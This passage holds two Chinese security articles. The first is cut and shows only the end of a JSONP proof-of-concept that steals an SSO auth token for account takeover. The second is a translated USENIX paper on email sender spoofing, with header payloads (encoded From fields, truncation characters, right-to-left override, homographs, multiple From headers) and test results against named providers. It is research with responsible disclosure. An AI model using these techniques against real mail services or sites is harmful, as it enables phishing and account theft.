JSONP.src = "https://id.kolesa.kz/authToken.js"
// As "xdm" object is loaded by JSONP, call Check() function to check it.
JSONP.onload = function() {
Check(window.xdm)
}
document.head.append(JSONP);
}
</script>
</body>
</html>
#### 结尾
不安全的JSONP调用会破坏整个SSO机制的安全性，可实现任意账户接管。
#### 参考资料
<https://medium.com/bugbountywriteup/taking-down-the-sso-account-takeover-in-3-websites-of-kolesa-due-to-insecure-jsonp-call-facd79732e45> | 社区文章 |
# 针对电子邮件发件人欺骗攻击的大规模分析
|
##### 译文声明
本文是翻译文章，文章原作者 Kaiwen Shen, Chuhan Wang, Minglei Guo, Xiaofeng Zheng, Chaoyi
Lu, Baojun Liu, Yuxuan Zhao, Shuang Hao, Haixin Duan, Qingfeng Pan, Min
Yang，文章来源：usenix.org
原文地址：<https://www.usenix.org/system/files/sec21summer_shen-kaiwen.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
作为一种基本的通信服务，电子邮件在个人和公司通信中都扮演着重要角色，这也使其成为最常见的攻击媒介之一。多个协议、角色和服务的身份验证链确保了电子邮件的真实性，任何失效的部分都可能破坏整个基于链的防御。本文系统地分析了电子邮件的传输，并确定了一系列能够绕过SPF，DKIM，DMARC和用户界面保护的新攻击。特别是通过进行cocktail组合攻击，可以伪造更真实的虚假电子邮件来渗透电子邮件服务，例如Gmail和Outlook。本文对30种流行的电子邮件服务和23个电子邮件客户端进行了大规模验证，发现它们都容易受到某些类型的攻击。已将发现的漏洞功能及时报告给相关的电子邮件服务提供商，并从包括Gmail，Yahoo，iCloud和Alibaba在内的11家公司收到了肯定的答复。
## 0x01 Introduction
电子邮件服务是当下必不可少的通信服务，这使其成为网络攻击的主要目标。但是，电子邮件传输协议远不能抵抗潜在的攻击。电子邮件系统的安全性依赖于由各种电子邮件服务维护的多方信任链，这增加了其对网络攻击的系统脆弱性。如下图所示，电子邮件传输过程中的身份验证涉及四个重要阶段。
正如木桶理论所揭示的，桶的容量取决于其最短的板，电子邮件的真实性取决于身份验证链中最薄弱的环节。首先，尽管存在各种用于识别欺骗电子邮件的安全扩展协议（例如SPF，DKIM和DMARC），但由于受不同协议保护的实体不一致，欺骗攻击仍可能成功。其次，电子邮件的身份验证涉及四个不同的角色：发件人，收件人，转发者和UI渲染器。每个角色应承担不同的安全职责。如果角色都无法提供适当的安全防御解决方案，则无法保证电子邮件的真实性。最后，安全机制是由具有不一致处理策略的不同电子邮件服务实现的。这些安全机制是由不同的开发人员实现，其中一些在处理带有模糊header的电子邮件时会偏离RFC规范。因此，不同的服务之间存在许多不一致之处。攻击者可以利用这些不一致来绕过安全机制，并向电子邮件浏览器端和电子邮件客户端呈现虚假结果。
这项工作系统地分析了电子邮件传递过程中身份验证的四个关键阶段：发送身份验证，接收验证，转发验证和UI呈现。发现14种电子邮件欺骗攻击能够绕过SPF，DKIM，DMARC和用户界面保护。通过组合不同的攻击，欺骗电子邮件可以完全通过所有当前流行的电子邮件安全协议，并且收件人的MUA上不会显示任何安全警告。
为了了解欺骗电子邮件攻击对电子邮件生态系统的实际影响，对30种流行的电子邮件服务进行了大规模实验，这些服务的用户总数达数十亿。此外还在不同的操作系统上测试了23个流行的电子邮件客户端，以衡量攻击对UI级别的影响。它们都容易受到某些类型的攻击，包括信誉良好的电子邮件服务，例如Gmail和Outlook。已经向涉及的电子邮件服务提供商妥善报告了所有已发现的问题，并从其中的11家（例如Gmail，Yahoo，iCloud，Alibaba
Cloud）获得了积极的回应。
## 0x02 Attack Model and Experiments
### A.攻击模型
如上图所示，电子邮件欺骗攻击的攻击模型包括一个受信任的电子邮件发送者（Alice，在a.com下拥有电子邮件帐户），一个受害者接收者（Bob，在b.com下拥有一个电子邮件帐户）和一个攻击者（Oscar）。Oscar的目标是向Bob发送电子邮件，伪装成Alice@
a.com并绕过所有安全验证。通常，电子邮件欺骗攻击有以下三种常见类型。
**共享MTA攻击（Shared MTA Attack）：** 假设Oscar拥有一个电子邮件帐户（Oscar@
a.com），该帐户不同于Alice的帐户（Alice@ a.com）。 Oscar可以通过修改Mail From / From / Auth
username header，通过a.com的MTA发送欺骗性电子邮件。由于发件人的MTA
IP信誉是影响垃圾邮件引擎决策算法的重要因素，因此欺骗电子邮件可以轻松进入受害者的收件箱。发件人的MTA的IP在a.com的SPF范围内。发件人的MTA可能还会自动将DKIM签名附加到欺骗电子邮件中。Oscar绕过SPF
/ DKIM / DMARC验证并欺骗Alice@ a.com几乎没有困难。
**直接MTA攻击（Direct MTA Attack）：**
Oscar还可以通过自己的电子邮件服务器发送欺骗性电子邮件。请注意，发送者的MTA与接收者的MTA之间的通信过程没有身份验证机制。
Oscar可以通过指定Mail From和From
header来欺骗任意发件人。这种攻击模型可以确保所有欺骗性电子邮件都到达收件人的MTA，而不会受到发件人MTA严格发送检查（strict sending
check）的影响。
**转发MTA攻击（Forward MTA Attack）：**
Oscar可以通过滥用电子邮件转发服务来发送欺骗性电子邮件。首先，Oscar将欺骗性电子邮件发送到Oscar@
a.com，这是转发电子邮件服务上属于Oscar的电子邮件帐户。接下来，他可以配置转发服务以自动将此欺骗邮件转发给受害者（Bob@
b.com）。此攻击模型具有三个主要优点。首先，此攻击与共享MTA攻击模式具有相同的优势，因为收件人的MTA（b.com）认为电子邮件来自合法的MTA（a.com）。此外，此攻击还可以绕过发件人MTA的严格发送检查（例如，Mail
From和From header之间不匹配）。最后，转发服务可以为转发的电子邮件提供更高的安全性认可（例如，添加不应添加的DKIM签名）。
因此，发件人身份验证问题可以分为四个阶段，包括发送身份验证，接收验证，转发验证和UI呈现，这些阶段可以缓解潜在的安全威胁。此外，将成功攻击的目标定义如下：（1）接收者的MUA错误地呈现了发件人地址，因为它来自合法域名，而不是攻击者的真实域名；
（2）收件人的MTA错误地验证了欺骗电子邮件的发件人； （3）收件人的MUA不显示任何用于欺骗电子邮件的安全警报。
上图显示了使用直接MTA攻击和转发MT攻击模型成功进行电子邮件发件人欺骗攻击的示例。。所有这三种电子邮件安全协议都会为欺骗性电子邮件提供“pass”验证结果。此外，接收方的MUA不显示任何安全警报。受害人几乎无法识别来自这种看似真实的欺骗电子邮件的任何攻击痕迹。因此，即使对于具有技术背景的人来说，要弄清这种电子邮件是否是欺骗也是具有挑战性的。
### B.目标选择
本研究系统地分析了30种电子邮件服务，包括最受欢迎的免费公共电子邮件服务，企业级电子邮件服务和托管的电子邮件服务。总共选择22种流行的电子邮件服务，它们的用户超过10亿，他们的安全问题可能会使广泛的普通用户受到威胁。此外还选择了Office
365，Alibaba
Cloud和Coremail等5种流行的企业电子邮件服务，以测试对机构用户的威胁影响。对于托管电子邮件系统，构建\部署和维护3个著名的电子邮件系统（即Zimbra，EwoMail，Roundcube）。此外，测试了针对不同桌面和移动操作系统中23个广泛使用的电子邮件客户端的攻击，以评估对UI呈现的影响。
### C.方法
这项工作旨在涵盖整个电子邮件传递过程中所有可能的验证问题。因此进行了五个步骤的安全性分析：首先系统地分析电子邮件规范。在语法方面提取ABNF规则，重点关注与身份验证相关的header（例如Mail
From / From / Helo /
Sender）。在语义方面，关注是RFC中每个阶段的电子邮件身份验证。其次，收集合法的电子邮件样本，并根据ABNF语法生成带有认证相关header的测试样本。由于普通邮件服务通常拒绝处理具有高度变形header的电子邮件，因此将指定某些header的值。例如，将domain的值限制为几个著名的电子邮件域名（例如，gmail.com，icloud.com）。第三，在协议模糊化中引入了常见的变异方法，例如header重复，插入空格，插入Unicode字符，header编码和大小写变化。第四，使用生成的样本在四个阶段中测试目标电子邮件系统的安全验证逻辑。最后分析并总结了使电子邮件发件人欺骗在实践中成功的对抗技术。
### D.实验设置
**成功的攻击：** 如果满足以下四个条件之一，则认为电子邮件欺骗攻击成功。
（1）在电子邮件发送验证阶段，攻击者可以任意修改标识符（例如，Auth username/ MAIL From/ From）。
（2）在电子邮件接收验证阶段，即使被欺骗域名已经部署了严格的SPF / DKIM /
DMARC策略，收件人的MTA也会给出“none/pass”验证结果。由于验证结果并不总是显示在电子邮件header中，因此可以通过检查电子邮件是否已进入收件箱作为替代来推断结果。此外，如果欺骗性电子邮件被放入垃圾邮件箱，则认为攻击失败，这意味着收件人的MTA已检测到欺骗性并采取了防御措施。为避免意外情况，将每个攻击重复三遍，以确保欺骗电子邮件实际上已渗透到安全协议中。只有所有三遍都起作用的攻击才被视为成功攻击。
（3）在电子邮件转发阶段，转发者对转发的电子邮件给予更高的安全性认可。此外，如果攻击者无需任何身份验证就可以将转发的电子邮件自由配置到任何帐户，则攻击也被认为是成功的。
（4）在电子邮件UI呈现阶段，显示的电子邮件地址与真实电子邮件地址不一致。在此阶段，由于仅需要检查，因此使用IMAP协议的APPEND功能将欺骗的电子邮件发送到收件箱，因为只需要检查UI呈现结果，而不是绕过垃圾邮件引擎。最后，收集信息并根据UI级别上的电子邮件浏览器端和电子邮件客户端分析结果。
**测量偏差最小化：**
首先，为了排除垃圾邮件检测的影响，选择了某个行业合作伙伴（一家著名的电子邮件提供商）提供的合法、良性和不敏感的电子邮件样本作为欺骗电子邮件的内容。这些电子邮件的内容是合法且无害的，不能被视为垃圾邮件。其次，所有欺骗电子邮件都是从位于不同区域的15个IP地址发送的，间隔为10分钟。此外为攻击者的域名和IP地址部署MX
/ TXT / PTR记录。第三，为了测试收件人的MTA如何处理带有“fail” SPF /
DMARC验证结果的电子邮件，针对目标30个电子邮件服务进行了欺骗实验，发现其中有23个拒绝带有“fail”的SPF /
DMARC验证结果的电子邮件。其余的将它们标记为垃圾邮件。
### E.实验结果
发送方欺骗攻击的实验结果如上表，总结了以下实验结果。首先，测量了这些电子邮件服务对电子邮件安全协议的部署和验证。所有电子邮件服务都在发件人一方部署SPF协议，而只有23个服务部署全部三种协议。出乎意料的是，所有电子邮件服务都在接收方运行SPF，DKIM和DMARC检测。但是，只有12个服务执行发件人不一致检查。其次，所有目标电子邮件服务和电子邮件客户端都容易受到某些类型的攻击。最后，组合攻击使攻击者能够伪造看上去更真实的欺骗电子邮件。具体攻击方法（A1-A14）在下文中介绍。
## 0x03 Email Sender Spoofifing Attacks
将攻击分为四类，分别对应于电子邮件传递过程中的四个身份验证阶段。
### A.邮件发送认证中的攻击
电子邮件发送验证是确保电子邮件真实性的必要步骤。电子邮件发送身份验证中的攻击可能会滥用知名电子邮件服务的IP信誉。他们甚至可以绕过SPF / DKIM /
DMARC协议的所有验证，这对电子邮件安全生态系统构成了重大威胁。这些攻击主要用于共享攻击模型（Model a）。
电子邮件发送过程中有三个发件人标识符：(1) Auth username; (2) Mail From; (3)
From。攻击被认为是成功的，当它可以在电子邮件发送认证过程中任意控制这些标识符。
**Auth username和MailFrom header之间不一致（A1）：**
如上图a所示，攻击者可以假装是当前域名下的任何用户，以发送在电子邮件发送身份验证期间Auth username（Oscar@ a.com）和Mail
From（Alice@ a.com）不一致的欺骗电子邮件。 SMTP协议不提供任何内置的安全功能来保证auth username和Mail From
header的一致性。因此，这种类型的保护仅取决于电子邮件开发人员的软件实现。
在欺骗实验中，大多数电子邮件服务都没有发现此类问题，并禁止用户发送与其原始身份不一致的电子邮件。但是，这种类型的问题仍然出现在某些著名的公司电子邮件软件（即Zimbra，EwoMail）中。在默认安全配置下，这两个电子邮件服务容易受到攻击。电子邮件管理员需要升级其安全配置，以手动防止此类问题。
**MailFrom与From之间的不一致（A2）:** 攻击者可以发送带有不同Mail From和From
header的欺骗电子邮件。上图b显示了这种类型的攻击。尽管允许某些用户使用电子邮件别名来发送带有不同的From
header的电子邮件，但不应允许任何用户将From header随意修改为任何值（例如admin@
a.com）以防止受到攻击。仅应在有限的合法值内设置From
header。许多流行的电子邮件服务（例如Outlook，Sina，QQ邮件）和大多数第三方电子邮件客户端（例如Foxmail，Apple
Mail）仅显示From header，而不显示Mail From header。对于具有不同Mail From和From
header的邮件，受害者甚至无法在MUA上看到任何安全警报。
RCPT To和To
header之间也存在类似的不一致。在现实世界中，有些场景会导致不一致，例如电子邮件转发和密件抄送。但是，这种灵活性增加了攻击面并引入了新的安全风险。例如，即使电子邮件的From
header不是受害者的地址，攻击者也可以将电子邮件发送给受害者。在这种情况下，攻击者可以进一步使用此方法来获取通常无法获得的带有DKIM签名的欺骗电子邮件，这对于进一步的攻击很有帮助。单独使用时，此技术可能无效，但与其他攻击技术结合使用时，通常可以达到出色的欺骗效果。
在实验中，有14种电子邮件服务容易受到此类攻击。此外，还发现某些电子邮件服务（例如Outlook，Zoho，AOL，Yahoo）已经意识到了这些风险，并实施了相应的安全限制。他们拒绝在SMTP发送过程中发送带有不一致的MailFrom和From
header的电子邮件。但是，仍然可以通过两种类型的攻击（即A4，A5）来绕过这些防御措施。例如，可以在Yahoo中发送带有From header为<
Oscar@ a.com>和 From header为< Alice@ a.com，Oscar@
a.com>的欺骗电子邮件，这引入了另一种歧义源，并最终绕过了电子邮件协议验证。因此，即使发件人已经部署了相关的安全措施，仍然可能发送这种欺骗性电子邮件。
### B.电子邮件接收验证中的攻击
SPF，DKIM和DMARC是用于抵抗电子邮件欺骗攻击的流行机制。如果攻击者可以绕过这些协议，则也可能对电子邮件安全生态系统构成严重的安全威胁。可以使用三种攻击模型来发起这种类型的攻击：共享MTA攻击，直接MTA攻击和转发MTA攻击。当接收方的MTA错误地获得“none/pass”验证结果时，攻击成功。
**空Mail From攻击（A3）：** RFC 5321明确描述了允许一个空的Mail
From，主要用于防止回弹回送并允许某些特殊消息。但是，也可以滥用此功能来发起电子邮件欺骗攻击。如下图所示，攻击者可以发送带有空的Mail From
header的电子邮件，而From header构成了Alice的身份（Alice@ a.com）。
SPF协议规定，如果Mail From
header为空，则接收者的MTA必须根据Helo字段完成SPF验证。但是，现实生活中滥用Helo字段使某些电子邮件服务违反了标准并采取了更为宽松的验证方法，因此，当收件人处理这些电子邮件时，他们无法基于Helo字段完成SPF验证，而是直接返回“none”。此类错误使攻击者可以绕过SPF保护。结果，攻击者可以将此攻击的SPF结果从“fail”更改为“none”。
13种电子邮件服务（例如Yahoo，Yeah，126，Aol）容易受到此类攻击。幸运的是，已经有17个电子邮件服务解决了此类安全问题，其中有5个（例如Zoho.com，iCloud.com，exmail.qq.com）已将此类电子邮件丢弃为垃圾邮件。
**多From header（A4）：** From
header有多种变形，例如在From之前和之后添加空格，大小写转换以及插入不可打印的字符。如上图所示，攻击者可以构造多个From
header来绕过安全策略。RFC5322表示通常会拒绝具有多个From字段的电子邮件。但是，仍然有一些电子邮件服务无法遵循协议，无法接受带有多个From
header的电子邮件。它可能会在电子邮件接收验证阶段引入不一致之处，从而可能导致其他安全风险。上图c显示了一个示例，显示的发件人地址为Alice@
a.com，而收件人的MTA可以使用Oscar@ attack.com进行DMARC验证。
只有4个邮件服务（即Gmail，Yahoo，Tom和Aol）拒绝具有多个From
header的电子邮件，而这种攻击会影响19个邮件服务。大多数经过测试的电子邮件服务倾向于在网络邮件上显示第一个From
header，而6个服务（例如iCloud，Yandex，Alibaba Cloud）选择显示最后一个From
header。此外，有7家供应商已针对此类攻击制定了特定的安全法规，例如在网络邮件上同时显示两个发件人地址（例如QQMail，Coremail）或将此类电子邮件放入垃圾邮件文件夹（例如Outlook，rambler.ru）。
**多邮件地址（A5）：**
使用多个电子邮件地址也是绕过协议验证的有效技术。多个地址的使用最早是在RFC2822中提出的，并在RFC5322中仍被明确允许。它适用于以下情况：具有多个作者的电子邮件应在发件人中列出所有作者。然后，添加“Sender”字段以标记实际发件人。如上图a所示，攻击者可以使用多个电子邮件地址（<
[[email protected]](mailto:[email protected])>，< Oscar@
attack.com>）绕过DMARC验证。此外，还可以对这些地址进行基于规则的更改，例如[Alice@ a.com],\< Oscar@
attack.com>。
15个邮件服务（例如QQ邮件，21cn.com和onet.pl）仍将接受此类电子邮件。只有4个服务（例如Gmail和Mail.ru）直接拒绝这些电子邮件，其他5个服务（例如zoho.com，tom.com，outlook.com）将它们放入垃圾邮件，其余6个服务（例如139.com
，cock.li和Roundcube）显示所有这些地址，从而使欺骗电子邮件更难以欺骗受害者。
**解析不一致攻击（A6）：** Mail From和From
header为富文本格式，具有非常复杂的语法格式，正确解析显示名称和真实地址是一项挑战。这些不一致之处可以使攻击者绕过身份验证并欺骗其目标电子邮件客户端。
邮箱地址是这两个header的基本组成部分之一。首先，当邮箱地址包含在“ <”and”>”中时，允许其在真实发件人地址的前面具有路由部分。因此，邮箱（< @
a.com，@ b.com：admin@ c.com>）仍然是合法地址。其中，@ a.com，@ b.com是路由部分，“ admin@
c.com”是真实发件人的地址。其次，允许使用邮箱列表和地址列表并且它们可以具有“null”成员，例如< a@ a.com>，< b@
b.com>。第三，注释是用括号括起来的字符串。允许在本地部分和域的句点分隔的元素之间，例如< admin(username)@
a.com(domainname)>。最后，在From
header中有一个可选的显示名称。它指示发件人的姓名，显示给收件人。下图显示了基于解析不一致的三种类型的攻击。
截断字符是终止字符串分析的一系列字符。当从电子邮件header中解析和提取目标域名时，被截断的字符将结束解析过程。上图d显示，当从字符串“ admin@
a.com\x00@
attack.com”解析目标域名时，程序获取的域名不完整（a.com）。攻击者可以使用这些技术来绕过电子邮件安全协议的验证。总的来说，这项工作在电子邮件字符串解析过程中发现了三种截断的字符。首先，NUL（\
x00）字符可以使用C编程语言终止字符串，在电子邮件字段中具有相同的作用。其次，一些看不见的Unicode字符（例如\uff00-\uffff,\x81-\xff）也可以终止字符串解析过程。第三，某些语义字符，例如“
“[,],{,},\t,\r,\n,;”，可用于指示词法分析中的标记化点。同时，这些字符也影响字符串的解析过程。发现在这种攻击下，有13个电子邮件服务在UI呈现阶段存在问题。对于Gmail和Yandex，可以使用这些攻击技术绕过DMARC。
**基于编码的攻击（A7）：** RFC
2045（MIME）描述了一种表示文本正文部分的机制，这些正文部分以各种字符集编码。这些部分的ABNF语法如下:=?charset?encoding?encoded-text?=。 “charset”字段指定与未编码文本关联的字符集； “ encoding”字段指定编码算法，其中“ b”代表base64编码，“
q”代表带引号的可打印编码； “encoded-text”字段指定编码的文本。攻击者可以使用这些编码的地址来逃避电子邮件安全协议的验证。上图a显示了这种攻击的细节。对于诸如From:=?utf-8?b?QWxpY2VAYS5jb20=?=这样的编码地址，大多数电子邮件服务在验证DMARC协议之前不会对地址进行解码，因此无法提取准确的域并在其中获得“无”以下DMARC验证。但是，某些电子邮件服务在MUA上显示解码的发件人地址（Alice@
a.com）。此外，该技术可以与截断的字符串结合使用。如上图b所示，攻击者可以将From header构造为“ b64(Alice@
a.com>b64(\uffff)@ attack.com”）。电子邮件客户端程序可能会获得不完整的用户名（即Alice@
a.com），但它仍将使用攻击者的域（attack.com）进行DMARC验证。7个电子邮件服务受此漏洞的影响，其中包括一些拥有超过十亿用户的流行服务（例如Outlook，Office
365，Yahoo）。
**子域攻击（A8）：** 攻击者可以从不存在的知名电子邮件服务的子域（没有MX记录）发送欺骗电子邮件（例如admin@
mail.google.com）。因此，没有相应的SPF记录。
欺骗电子邮件仅收到none”验证结果，收件人的MTA不会直接拒绝它。尽管父域（例如google.com）部署了严格的电子邮件策略，但攻击者仍然可以这种方式进行攻击。不幸的是，许多公司使用子域来发送业务订阅电子邮件，例如Paypal，Gmail和Apple。结果，普通用户倾向于信任此类电子邮件。
不幸的是，RFC
7208声明不鼓励使用通配符记录来发布SPF记录。很少有电子邮件管理员在现实世界中配置通配符SPF记录。此外，收件人的MTA通常可以拒绝来自没有MX记录的域的电子邮件。但是RFC
2821提到，当域没有MX记录时，SMTP会假定A记录就足够了，这意味着具有A记录的任何域名都可以被视为有效的电子邮件域。此外，许多知名网站都部署了通配符DNS
A记录，从而使这种攻击更加适用。结果，收件人的MTA很难确定是否拒绝此类电子邮件。
实验结果表明，有13种电子邮件服务容易受到此类攻击。在实验中，只有一个电子邮件服务（Mail.ru）为SPF记录部署了通配符DNS条目。默认情况下，为组织域设置的DMARC策略应适用于任何子域，除非已为特定子发布了DMARCrecord
-领域。但是，实验结果表明，即使接收方的MTA进行了DMARCcheck，攻击仍然有效。
### C.电子邮件转发验证中的攻击
这项工作表明，攻击者可以滥用电子邮件转发服务来发送欺骗性电子邮件，而这种欺骗性电子邮件将在sharedMTA攻击模型中失败。此外，转发服务可以为转发的电子邮件提供更高的安全性认可。攻击者可以利用这两种情况发送欺骗性电子邮件。
**未经授权的转发攻击（A9）：**
如果攻击者可以在不进行任何身份验证验证的情况下将转发的电子邮件自由配置到任何帐户，则电子邮件服务存在未经授权的转发问题。首先，攻击者应在电子邮件转发服务上拥有一个合法的电子邮件帐户。因为这些电子邮件是从一个热门的电子邮件转发MTA发送的，因此收件人的MTA通常会接受此类电子邮件。当目标域名与转发域名相同时，还可以利用转发服务绕过SPF和DMARC协议。此攻击如下图所示。基于此攻击，攻击者可以滥用众所周知的MTA的信誉来制作真实的欺骗性电子邮件。
在实验目标中，有12个电子邮件服务具有此类漏洞。
7电子邮件服务不提供电子邮件转发功能。其他电子邮件服务已经意识到了风险，并进行了相应的转发验证以解决此问题。
**DKIM签名欺骗攻击（A10）：**
转发服务可以为转发的电子邮件提供更高的安全性认可。但是攻击者可能滥用此功能来发送欺骗性电子邮件。如果转发的电子邮件没有DKIM签名或之前未通过DKIM验证，则转发者不应添加其域名的DKIM签名。否则，攻击者可以欺骗合法DKIM签名的转发服务。但是，RFC
6376和RFC 6377均建议转发者将其签名添加到转发的电子邮件中。这进一步导致更多的电子邮件服务出现此类问题。
上图说明了攻击的完整过程。电子邮件转发服务（a.com）无需严格验证即可对所有转发的电子邮件签名并添加DKIM签名。首先，攻击者可以在电子邮件转发服务下注册一个帐户（Oscar@
a.com）。其次，他可以将所有接收的电子邮件配置为转发到另一个攻击者的电子邮件地址（Oscar@
c.com）。然后，攻击者可以通过直接MTA攻击模型通过From: Alice@ a.com, To: Bob@ b.com到Oscar@
a.com发送欺骗电子邮件。转发服务（a.com）在此欺骗电子邮件中添加了合法的DKIM签名。结果，攻击者收到了带有由a.com签名的合法DKIM签名的欺骗电子邮件。在实验中，Alibaba
Cloud，Office 365和Yahoo Email都容易受到此类攻击。
**ARC问题（A11）：**
ARC是一种新提出的协议，它提供了一条信任链，可以在电子邮件转发过程中链接SPF，DKIM和DMARC的验证结果。在实验中，只有三个电子邮件服务（即Gmail，Office
365和Zoho）部署了ARC协议。但是研究发现Office
365和Zoho都在ARC协议实现方面存在安全问题。此外，除了A10攻击外，ARC无法防御上面讨论的大多数攻击。
对于Zoho电子邮件服务，如果电子邮件未通过发件人不一致检查，它将为用户显示警报。但是，Zoho的ARC实施存在错误。当通过Gmail自动将欺骗性电子邮件转发到Zoho邮箱时，Zoho添加的ARC-Authentication-Results（AAR）header显示了错误的“通过”
DMARC验证结果。更糟糕的是，这种错误的ARC实现也可能绕过发送方不一致检查。 Zoho不会向用户显示有关此欺骗电子邮件的警报。 Office
365在ARC的实现中也有错误。它在AAR标header中传递了SPF，DKIM和DMARC的错误验证结果。这将破坏ARC信任链，从而引入更多的安全风险。
### D.电子邮件UI呈现中的攻击
电子邮件系统的最后也是最关键的部分是确保正确呈现电子邮件。一旦攻击者可以在此阶段采取防御措施，就很容易在不知不觉中通过欺骗邮件欺骗普通用户。显示的地址是MUA上显示的发件人地址，但实际地址是SMTP通信中使用的发件人身份（From）。如果攻击者可以使显示的地址与真实地址不一致，则认为攻击成功。此外，某些MUA向未通过发件人不一致检查的电子邮件添加安全指示符。如果攻击者可以绕过发件人的不一致检查，它也被视为一种有效的攻击技术。
电子邮件UI呈现阶段存在各种攻击，其中一些类似于前面讨论的A6，A7攻击，不同之处在于UI级别攻击的目标是绕过发件人不一致检查并欺骗为用户显示的电子邮件地址，而不是绕过三个电子邮件安全性协议的验证。因此，通常构造模糊From
header而不是Mail From header。
**IDN同形异义词攻击（A12）：**
同形异义词攻击是一个已知的Web安全问题，但尚未系统地讨论其对电子邮件系统的安全风险。热门电子邮件提供商逐渐支持来自国际化域名（IDN）的电子邮件，此攻击可能会产生更广泛的安全影响。
Punycode是一种将无法以ASCII显示的单词转换为Unicode编码的方法。值得注意的是，当原始地址不同时，Unicode字符在屏幕上的外观可能相似。上图显示了一个欺骗电子邮件，该电子邮件似乎来自地址（admin@
paypal.com），但实际上来自地址（admin@ xn–aypal-uye.com）。
现代浏览器已针对IDN同形异义词攻击实施了一些防御措施。例如如果域标签包含多种语言的字符，则不应呈现IDN，不幸的是电子邮件系统中几乎没有类似的防御措施。实验结果表明，10种电子邮件服务（例如Gmail，iCloud，Mail.ru）显示出支持IDN电子邮件。当前，只有Coremail可以修复此漏洞。基于本研究，Coremail在地址栏中的Unicode字符前后添加了空格。这样，用户可以轻松区分ASCII字符和Unicode字符，以防止此类攻击。
**UI呈现丢失攻击（A13）：**
本文还发现许多字符会影响MUA的呈现。在呈现过程中可能会丢弃某些字符。此外，某些字符还可能导致电子邮件地址被截断（类似于攻击A6）。这些字符包括不可见字符（U+0000-U+001F,U+FF00-U+FFFF）和语义字符（@,:,;,”）。例如，MUA呈现地址admin@
gm@ ail.com作为admin@
gmail.com。仍有12种电子邮件服务（例如zoho.com，163.com，sohu.com）容易受到这类攻击。其他服务拒绝接收此类电子邮件，或者只是将此类电子邮件扔入垃圾邮件箱。
**RTRO（Right-to-left Overrid）写攻击（A14）：** 设计了几个字符来控制字符串的显示顺序。其中之一是“RIGHT-TO-LEFT
OVERRIDE”字符，U+202E告诉计算机以从右到左的顺序显示文本。它主要用于书写和阅读阿拉伯语或希伯来语文本。尽管此攻击技术在其他地方已经讨论过，但尚未充分研究其对电子邮件欺骗的安全风险。攻击者可以将字符串构造为\u202emoc.a@\u202dalice，该字符串显示为Alice@
a.com。由于带有RTL字符的欺骗性电子邮件可能会直接丢入垃圾邮件箱，因此通常对有效载荷（采用utf-8模式）进行编码以进行攻击。11种电子邮件服务（例如Outlook，Yahoo，Yandex）仍然容易受到此攻击。
10个服务（例如cock.li，daum.net，onet.pl）无法正确呈现此类电子邮件地址。其他电子邮件服务直接拒绝了此类邮件。
## 0x04 Combined Attacks
根据电子邮件传递过程中的四个认证阶段，将攻击分为四类。但是，这些攻击有一定的局限性。首先，某些攻击（例如A2，A3）可能对配方产生欺骗作用。但是，他们无法绕过所有电子邮件欺骗保护。例如，通过来自攻击者的空邮件（A3）的欺骗电子邮件绕过SPF验证，但在DMARC验证中失败。此外，大多数电子邮件供应商已修复了单独进行的攻击，该攻击可以绕过实验中的所有三个电子邮件安全协议。因此，在实践中组合不同阶段的多种攻击更为可行。通过结合不同攻击技术的cocktail组合攻击，可以轻松构建可以完全通过三种电子邮件安全协议和用户界面保护验证的欺骗电子邮件。最后，此欺骗电子邮件与合法电子邮件在收件人的MUA上没有显示任何区别。通过在4个身份验证阶段组合3种类型的攻击模型和14种攻击技术，可以实现多种可行的组合攻击。选择两个最具代表性的示例来说明组合欺骗攻击的效果，下表列出了两个示例的关键信息。
**相同攻击模型下的组合攻击：**
总共确定了14种电子邮件欺骗攻击技术，其中14种攻击技术可以在相同的攻击模型下进行组合以达到更好的攻击效果。此外，尽管某些供应商可以通过一项安全检查来修复漏洞，但攻击者可以准确地组合其他攻击技术来绕过相应的安全检查。
上图显示了共享MTA攻击模型下的代表性示例。Yahoo电子邮件执行简单的发件人检查策略以防御A2攻击。它禁止用户使用不同的Mail From和From
header发送电子邮件。但是，攻击者仍然可以通过A4攻击绕过此发件人检查策略。具体来说，可以发送带有第一个发件人header（Oscar@
yahoo.com）的欺骗邮件，该邮件与Mail From头相同，然后添加第二个发件人header（Admin@ paypal.com）。
iCloud不会拒绝具有多个From header的此类欺骗电子邮件。更糟糕的是，iCloud使用第一个From
header执行DMARC验证并通过yahoo.com获得“pass”结果，而第二个From（Admin@
paypal.com）header则显示在网络邮件的用户界面上，供用户使用。因此，这种组合攻击最终可能绕过所有三个电子邮件安全协议并欺骗MUA。
**不同攻击模型下的组合攻击：**
攻击者还可以通过组合不同的攻击模型来进行更有效的攻击。电子邮件系统是具有多方信任链的复杂生态系统，它依赖于由多方实施和部署的安全措施。在不同的攻击模型下，多个参与方可能具有不同的漏洞。例如，如果电子邮件服务的发送MTA在发送身份验证时进行严格检查，则很难通过共享MTA攻击模型进行攻击。但是，一旦在其他阶段未能提供正确且完整的安全防御解决方案，攻击者仍可以绕过并通过其他两种攻击模型发送欺骗性电子邮件。
上图通过组合直接MTA和正向MTA攻击模型显示了成功的欺骗攻击。例如，Oscar使用攻击技术（A2，A3）发送带有空Mail From和精心构造的From
header的欺骗电子邮件。与受害者的帐户不同，Oscar拥有一个合法帐户（Oscar@
aliyun.com）。因此，Oscar可以将该帐户配置为自动将接收到的电子邮件转发到他的一个帐户（Oscar@ attack.com）。Alibaba
Cloud服务为所有转发的电子邮件添加了DKIM签名，而无需进行必要的验证检查（A10）。通过电子邮件发送合法的DKIM签名。然后，Oscar可以通过直接MTAattack模型通过MailFrom:<
admin@ attack.com>头发送此欺骗电子邮件，如上图b所示。
对于此欺骗电子邮件，SPF协议验证attack.com域，而DKIM和DMARC协议验证aliyun.com域。因此，该电子邮件可以通过所有三个电子邮件安全协议，并进入Gmail收件箱。此外，没有电子邮件服务会向用户显示有关具有三种协议的不同已验证域的电子邮件的警报。这进一步使这类攻击对普通用户更具欺骗性。
## 0x05 Root Causes and Mitigation
### A.根本原因
如前所述，电子邮件系统的安全性依赖于多个由多方分别实施的保护策略。因此，这些多方之间的不一致可能会造成更多漏洞，并导致严重的欺骗攻击。确定攻击的根本原因如下。
**多协议之间的弱链接**
：由于电子邮件规范的含糊不清，缺乏最佳实践以及MIME标准的复杂性，协议验证过程是身份验证链中的薄弱环节之一。在SMTP通信过程中，协议的多个字段包含发送者的身份信息（即Auth
username，MAIL From, From, Sender）。这些字段的不一致为电子邮件欺骗攻击提供了基础。
